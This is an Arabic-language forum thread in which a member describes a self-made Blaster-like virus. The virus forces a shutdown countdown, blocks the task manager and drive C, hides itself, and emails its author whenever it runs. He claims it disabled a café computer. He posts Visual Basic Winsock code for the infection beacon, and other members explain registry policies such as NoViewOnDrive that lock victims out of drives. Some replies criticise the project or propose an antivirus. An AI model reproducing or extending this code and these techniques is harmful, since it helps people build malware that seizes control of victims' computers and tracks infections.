ياشباب اتوقع انا في ورطه كبيره

السلام عليكم

اظن QJgJI-pJLc@hotmail.com نفس اسم الفيرس اكيد توقعو و عملوا بحث عليك تمام و ا يا ريت تغير البريد و ربنا يستر عليك

مشكوووووووور اخوي على التنبيه

وجزاك الله خير

ههههههههههه

يا عم ايه أصلا اللي رماك تعمل فايرس

على فكرة ما عمل هذا الفايرس؟

اخوي الفايروس شبيه جدا بفايروس بلاستر ( اطلقت عليه بيبي بلاستر)

يظهر نفس نافذة بلاستر ويعطي مهلة 2 دقيقه لتسجيل الخروج

وفيه خاصيه انه يرسلي رساله مره على بريدي يخبرني بانه اشتغل

يعني اشوف كم شخص شغل الفايروس

الفايروس لايحتوي على اشياء تخريبه ولا يحذف اي ملف :unsure:

ارفع الفايروس .. خليني اجربه .... لانه مو مشكلة عندي ... بلاستر او بيبي بلاستر ... كلهم في الهوا سوا ...

بس احب اني اقيمه :)

لا أظن أنه فايرس خطير في حالة مااذا كنت قد عملته بالطريقة اللي في دماغي !!

يعني هل تستفيد من أمر ShutDown في ال XP ؟؟

لو كان كذلك فلا أظن انهم لن يتابعوك با عزيزي لأنه يمكن ان يعمله اي مبتدأ في البرمجة بأي لغة !!!!

لا ماعليك . مادامه غير تخريبي .. لاتخاف ..

ومثل ماقال اخوي crazy-man اي مبرمج مبتدأ يستطيع عمله ..

احترامي ..

اهلين بكم شباب

والله ياجماعه الفايروس مسويه لواحد من الشباب هو طلبه مني

بس صراحه يااخوان الفايروس من الصعب حذفه لانه يسيطر على قائمة المهام

والقرص الصلب السي ومايخليك توصله ابد

شاهد هذي الصوره عند محاولتك الدخول لسي

وايضا الفايروس لايكمن البحث عنه ويستعمل خاصية الاخفاء

يعني امس كلمني شخص والله العظيم من مصر يقول شغلت الفايروس حقك في مقهي

ولا قدر صاحب المقهى يسيطر عليه وراح وعمل فرومات لسي !!!

المشكله الفايروس فيه خاصية الارسال

يعني اول مايشتغل الفايروس يرسل لي رساله على بريدي نصها

"قام شخص بتشغيل الفايروس "

وانا مستعد احط لكم كود الارسال اذا اردتم ذلك

حط الكود .. خل على الاقل نستفيد من الافكار الي فيه ..

احترامي .

الله يسترها معاك .... ... ... وانت ايش حشرك في عمل هذه الاعمال التخريبيه .. اليست حرام ..

الله يسترها معك بس ..... حاول تغير اميلك ....

لقد عرف بريدك عن طريق تتبع خطوات البرنامج و التى منها ارسال تنبيه لك ان احد الاشخاص اصيب بالفيرس و بالتالى هذا الشخص بعتلك على نفس البريد الذى تتلقى فيه المعلومات من الفايرس .

اقتباس

يعني امس كلمني شخص والله العظيم من مصر يقول شغلت الفايروس حقك في مقهي

ولا قدر صاحب المقهى يسيطر عليه وراح وعمل فرومات لسي !!!

!!!!!!!!!!!!

ان معظم المقاهى فى مصر تعمل ببرنامج Deep Freeze وذلك حتى لا يتأثر الجهاز بأى فايروسات او برامج تنزل من الانترنت وبالتالى مهما حدث لن يتأثر المقهى

ولا تقلق من اى اثر قانونى لهذا البرنامج لانه غير مضر

بخصوص اخوي المبرمج الصعب

هذا هو كود الارسال طبعا لازم تضع اداة Winsock

Private Sub W_Connect()
Dim booo7 As String
booo7 = booo7 & "helo booo7" & Cr
booo7 = booo7 & "MAIL FROM: <" & BOOOO7 & ">" & Cr
booo7 = booo7 & "RCPT TO: <" & txtmail.Text & ">" & Cr
booo7 = booo7 & "DATA" & Cr
booo7 = booo7 & "From:QJgJI-pJLc " & Cr
booo7 = booo7 & "Subject:run ok" & Cr
booo7 = booo7 & txt.Text & Cr
booo7 = booo7 & "." & Cr
booo7 = booo7 & "quit" & Cr
W.SendData booo7
End Sub

هذا طبعا اهم جزأ في كود الارسال

الباقي تقدر تكمله وسهل جدا

اذا مافهمت بحطلك الكود كامل

شباب مشكورين الردود الطيبه

اما بخصوص ابن اليمن الفايروس مو تخريبي ابدا ولا يحذف اي ملف

بس يقوم بتضييق الخناق حتى لايتم كشفه بسهوله

أخي boooo7

قد ذكرت الأتي :

اقتباس

بس صراحه يااخوان الفايروس من الصعب حذفه لانه يسيطر على قائمة المهام

والقرص الصلب السي ومايخليك توصله ابد

شاهد هذي الصوره عند محاولتك الدخول لسي

هل لي أن أسألك ما ((الفكرة)) التي استخدمتها لمنع الضحية من الدخول علي قرص السي ..؟؟

ممكن تعمل زي computer Manager

أو تضيف عنوان جديد فى الـRegistery يسمى Nodrives و هناك الكثير من هذه الأشياء يعني مثلا فى خاصية تمنع الـShutDown و فى خاصية تمنع ظهور قائمة المهم

أنا أعرف التصريح NoDrive ولكنها تخفي الدريفات .. ولكن لا تظهر رسالة منع دخول علي الدريف..

ولكن في أثناء البحث وجدت قيمة أخري هي المسئولة عن ذلك وهي NoViewOnDrive ..

تخرج رسالة the drive can't be accessed at that time.

علي العموم شكرا لهذا التنبيه علي أنه يستخدم تصريح policy ..

فقط كنت أحسب الطريقة برمجية بحته..

يوجد طريقة أخرى مثل التى يسخدمها برنامج Computer Manager و هذه الطريقة موجودة على Planet Source Code لكنى للأسف لا أحتفظ بالوصلة الخاصة بهذا الكود

بالأضافة الى بعض التصاريح التى تساعد فى الكثير من التعديلات فى الويندوز ( تعديل خصائص )

http://www.winguides.com/registry/

فى انتظار الكود :rolleyes:

أى حد عايز يعرف أكتر عن موضوع الفيروسات ده بالاضافة الى Source Code بكل لغات البرمجة هناك أكثر من كتاب فى هذا الموضوع أحسنهم من وجهة نظرى هو كتاب تشريح الفيروسات من انتاج دار الشعاع بالأضافة الى أنه يوجد الكثير من التى تتحدث عن نفس الموضوع فقط قم بالبحث و لا تنتظر كود من أحد :)

ماشى كلامك ياحماده :rolleyes:

أخي لماذا لا تنشأ برنامج مضاد لهذا الفيروس فتكون بذلك أنشأته كفكرة لثغرة قد يغيب عنها البعض و تكون بذلك قمت بعمل إصلاحي و ليس تخريي

و لكن يجب إعلان طريقة الفيروس كاملة فتكون بغرض تعليمي